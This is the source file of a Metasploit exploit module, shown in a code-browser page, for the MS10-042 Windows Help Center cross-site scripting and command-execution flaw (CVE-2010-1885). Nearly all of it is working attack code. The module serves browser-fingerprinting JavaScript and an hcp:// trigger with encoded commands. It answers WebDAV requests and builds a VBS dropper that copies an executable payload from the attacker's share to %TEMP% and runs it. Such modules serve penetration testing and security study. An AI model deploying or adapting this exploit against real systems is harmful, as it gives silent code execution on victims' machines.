Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / ms10_042_helpctr_xss_cmd_exec.rb @ master

History | View | Annotate | Download (10.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = ExcellentRanking
16

    
17
        #
18
        # This module acts as an HTTP server
19
        #
20
        include Msf::Exploit::Remote::HttpServer::HTML
21
        include Msf::Exploit::EXE
22

    
23
        def initialize(info = {})
24
                super(update_info(info,
25
                        'Name'                        => 'Microsoft Help Center XSS and Command Execution',
26
                        'Description'        => %q{
27
                                        Help and Support Center is the default application provided to access online
28
                                documentation for Microsoft Windows. Microsoft supports accessing help documents
29
                                directly via URLs by installing a protocol handler for the scheme "hcp". Due to
30
                                an error in validation of input to hcp:// combined with a local cross site
31
                                scripting vulnerability and a specialized mechanism to launch the XSS trigger,
32
                                arbitrary command execution can be achieved.
33

    
34
                                On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it
35
                                can be used to launch the exploit automatically. If IE8 and WMP11, either can
36
                                be used to launch the attack, but both pop dialog boxes asking the user if
37
                                execution should continue. This exploit detects if non-intrusive mechanisms are
38
                                available and will use one if possible. In the case of both IE8 and WMP11, the
39
                                exploit defaults to using an iframe on IE8, but is configurable by setting the
40
                                DIALOGMECH option to "none" or "player".
41
                        },
42
                        'Author'                =>
43
                                [
44
                                        'Tavis Ormandy',  # Original discovery
45
                                        'natron'          # Metasploit version
46
                                ],
47
                        'License'                => MSF_LICENSE,
48
                        'Version'                => '$Revision$',
49
                        'References'        =>
50
                                [
51
                                        [ 'CVE', '2010-1885' ],
52
                                        [ 'OSVDB', '65264' ],
53
                                        [ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],
54
                                        [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],
55
                                        [ 'MSB', 'MS10-042']
56
                                ],
57
                        'DefaultOptions' =>
58
                                {
59
                                        'EXITFUNC' => 'process',
60
                                },
61
                        'Payload'                =>
62
                                {
63
                                        'Space'        => 2048,
64
                                },
65
                        'Platform'                => 'win',
66
                        'Targets'                =>
67
                                [
68
                                        [ 'Automatic',        { } ]
69
                                ],
70
                        'DisclosureDate' => 'Jun 09 2010',
71
                        'DefaultTarget'  => 0))
72

    
73
                register_options(
74
                        [
75
                                OptPort.new(        'SRVPORT',                 [ true, "The daemon port to listen on", 80 ]),
76
                                OptString.new(        'URIPATH',                 [ true, "The URI to use.", "/" ]),
77
                                OptString.new(        'DIALOGMECH',         [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
78
                        ], self.class)
79

    
80
                deregister_options('SSL', 'SSLVersion') # Just for now
81
        end
82

    
83
        def on_request_uri(cli, request)
84

    
85
                # If there is no subdirectory in the request, we need to redirect.
86
                if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
87
                        if (request.uri == '/')
88
                                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
89
                        else
90
                                subdir = request.uri + '/'
91
                        end
92
                        print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
93
                        send_redirect(cli, subdir)
94
                        return
95
                end
96

    
97

    
98
                case request.method
99
                when 'OPTIONS'
100
                        process_options(cli, request)
101
                when 'PROPFIND'
102
                        process_propfind(cli, request)
103
                when 'GET'
104
                        process_get(cli, request)
105
                else
106
                        print_error("Unexpected request method encountered: #{request.method}")
107
                end
108

    
109
        end
110

    
111
        def process_get(cli, request)
112

    
113
                @my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
114
                webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
115
                @url_base  = "http://" + @my_host
116

    
117
                if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))
118
                        print_status "Sending payload executable to target ..."
119
                        return if ((p = regenerate_payload(cli)) == nil)
120
                        data = generate_payload_exe({ :code => p.encoded })
121

    
122
                        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
123
                        return
124
                end
125

    
126
                if request.uri.match(/\.gif$/)
127
                        # "world's smallest gif"
128
                        data  = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"
129
                        data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
130
                        print_status "Sending gif image to WMP"
131
                        send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )
132
                end
133

    
134
                # ASX Request Inbound
135
                if request.uri.match(/\.asx$/)
136
                        asx = %Q|<ASX VERSION="3.0">
137
<PARAM name="HTMLView" value="URLBASE/STARTHELP"/>
138
<ENTRY>
139
        <REF href="URLBASE/IMGFILE"/>
140
</ENTRY>
141
</ASX>
142
|
143
                        asx.gsub!(/URLBASE/, @url_base)
144
                        asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)
145
                        asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)
146
                        print_status("Sending asx file")
147
                        send_response(cli, asx, { 'Content-Type' => 'text/html' })
148
                        return
149
                end
150

    
151
                # iframe request inbound from either WMP or IE7
152
                if request.uri.match(/#{@start_help}/)
153

    
154
                        help_html = <<-EOS
155
<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">
156
EOS
157

    
158
                        rand_vbs        = rand_text_alpha(rand(2)+1) + ".vbs"
159
                        copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^
160
                        vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|
161
                        write_vbs        = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|
162
                        launch_vbs  = %Q|cscript %TEMP%\\#{rand_vbs}>nul|
163
                        concat_cmds = "#{write_vbs}|#{launch_vbs}"
164

    
165
                        eval_block  = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"
166
                        eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))
167
                        help_html.gsub!(/COMMANDS/, eval_block)
168
                        print_status("Sending exploit trigger")
169
                        send_response(cli, help_html, { 'Content-Type' => 'text/html' })
170
                        return
171
                end
172

    
173
                # default initial response
174
                js = %Q|
175
var asx = "URLBASE/ASXFILE";
176
var ifr = "URLBASE/IFRFILE";
177

    
178
function launchiframe(src) {
179
        var o = document.createElement("IFRAME");
180
        o.setAttribute("width","0");
181
        o.setAttribute("height","0");
182
        o.setAttribute("frameborder","0");
183
        o.setAttribute("src",src);
184
        document.body.appendChild(o);
185
}
186

    
187
if (window.navigator.appName == "Microsoft Internet Explorer") {
188
        var ua = window.navigator.userAgent;
189
        var re  = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
190
        re.exec(ua)
191
        ver = parseFloat( RegExp.$1 );
192

    
193
        // if ie8, check WMP version
194
        if (ver > 7) {
195
                var o = document.createElement("OBJECT");
196
                o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
197
                o.setAttribute("uiMode", "invisible");
198
                // if wmp9, go ahead and launch
199
                if( parseInt(o.versionInfo) < 10 ) {
200
                        o.openPlayer(asx);
201
                // if > wmp9, only launch if user requests
202
                } else {
203
                        DIALOGMECH
204
                }
205
        // if ie7, use iframe
206
        } else {
207
                launchiframe(ifr);
208
        }
209
} else {
210
        // if other, try iframe
211
        launchiframe(ifr);
212
}
213
|
214

    
215
                html = %Q|<html>
216
<head></head><body><script>JAVASCRIPTFU
217
</script>
218
</body>
219
</html>
220
|
221
                case datastore['DIALOGMECH']
222
                when "player"
223
                        mech = "o.openPlayer(asx);"
224
                when "iframe"
225
                        mech = "launchiframe(ifr);"
226
                when "none"
227
                        mech = ""
228
                else
229
                        mech = ""
230
                end
231

    
232
                html.gsub!(/JAVASCRIPTFU/, js)
233
                html.gsub!(/DIALOGMECH/, mech)
234
                html.gsub!(/URLBASE/, @url_base)
235
                html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)
236
                html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)
237

    
238
                print_status("Sending #{self.name}")
239

    
240
                headers = {
241
                        'Content-Type'                => 'text/html',
242
                        #'X-UA-Compatible'        => 'IE=7'
243
                }
244

    
245
                send_response(cli, html, headers)
246
        end
247

    
248
        #
249
        # OPTIONS requests sent by the WebDav Mini-Redirector
250
        #
251
        def process_options(cli, request)
252
                print_status("Responding to WebDAV OPTIONS request")
253
                headers = {
254
                        #'DASL'   => '<DAV:sql>',
255
                        #'DAV'    => '1, 2',
256
                        'Allow'  => 'OPTIONS, GET, PROPFIND',
257
                        'Public' => 'OPTIONS, GET, PROPFIND'
258
                }
259
                send_response(cli, '', headers)
260
        end
261

    
262
        def convert_to_char_code(str)
263
                return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop
264
        end
265
        #
266
        # PROPFIND requests sent by the WebDav Mini-Redirector
267
        #
268
        def process_propfind(cli, request)
269
                path = request.uri
270
                print_status("Received WebDAV PROPFIND request")
271
                body = ''
272

    
273
                if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))
274
                        # Response for the EXE
275
                        print_status("Sending EXE multistatus for #{path} ...")
276
#<lp1:getcontentlength>45056</lp1:getcontentlength>
277
                        body = %Q|<?xml version="1.0" encoding="utf-8"?>
278
<D:multistatus xmlns:D="DAV:">
279
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
280
<D:href>#{path}</D:href>
281
<D:propstat>
282
<D:prop>
283
<lp1:resourcetype/>
284
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
285
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
286
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
287
<lp2:executable>F</lp2:executable>
288
<D:lockdiscovery/>
289
<D:getcontenttype>application/octet-stream</D:getcontenttype>
290
</D:prop>
291
<D:status>HTTP/1.1 200 OK</D:status>
292
</D:propstat>
293
</D:response>
294
</D:multistatus>
295
|
296
                elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
297
                        print_status("Sending 404 for #{path} ...")
298
                        send_not_found(cli)
299
                        return
300

    
301
                elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
302
                        # Response for anything else (generally just /)
303
                        print_status("Sending directory multistatus for #{path} ...")
304
                        body = %Q|<?xml version="1.0" encoding="utf-8"?>
305
<D:multistatus xmlns:D="DAV:">
306
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
307
<D:href>#{path}</D:href>
308
<D:propstat>
309
<D:prop>
310
<lp1:resourcetype><D:collection/></lp1:resourcetype>
311
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
312
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
313
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
314
<D:lockdiscovery/>
315
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
316
</D:prop>
317
<D:status>HTTP/1.1 200 OK</D:status>
318
</D:propstat>
319
</D:response>
320
</D:multistatus>
321
|
322

    
323
                else
324
                        print_status("Sending 404 for #{path} ...")
325
                        send_not_found(cli)
326
                        return
327
                end
328

    
329
                # send the response
330
                resp = create_response(207, "Multi-Status")
331
                resp.body = body
332
                resp['Content-Type'] = 'text/xml'
333
                cli.send_response(resp)
334
        end
335

    
336
        def exploit
337
                @random_dir = rand_text_alpha(rand(2)+1)
338
                @asx_file        = rand_text_alpha(rand(2)+1) + ".asx"
339
                @start_help        = rand_text_alpha(rand(2)+1) + ".html"
340
                @payload        = rand_text_alpha(rand(2)+1) + ".exe"
341
                @img_file        = rand_text_alpha(rand(2)+1) + ".gif"
342

    
343
                if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
344
                        raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
345
                end
346

    
347
                super
348
        end
349
end